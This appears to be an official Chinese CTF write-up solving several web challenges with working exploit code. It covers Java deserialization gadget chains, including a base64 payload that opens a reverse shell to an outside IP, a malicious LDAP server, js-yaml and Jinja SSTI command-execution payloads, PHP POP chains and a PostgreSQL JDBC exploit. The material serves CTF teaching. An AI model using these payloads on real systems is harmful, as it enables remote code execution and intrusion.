2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

admin 2024年1月10日15:08:30评论50 views字数 45869阅读152分53秒阅读模式

web

ai_java

首先通过附件帐号信件获取到帐号

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

查找提交历史我们发现了源码

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

审计源码发现为 可能存在spring–boot 未授权绕过

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

在admin的页面下的/post_message/接口存在fastjson解析

 

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

 

查看具体版本发现无法直接ladp攻击,查看依赖

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}

 

public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

 

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.

 

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

 

 

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

发现能解析方法

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • 2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

 

  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
  • 2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

 

此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

或者用DirectoryIterator类:

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
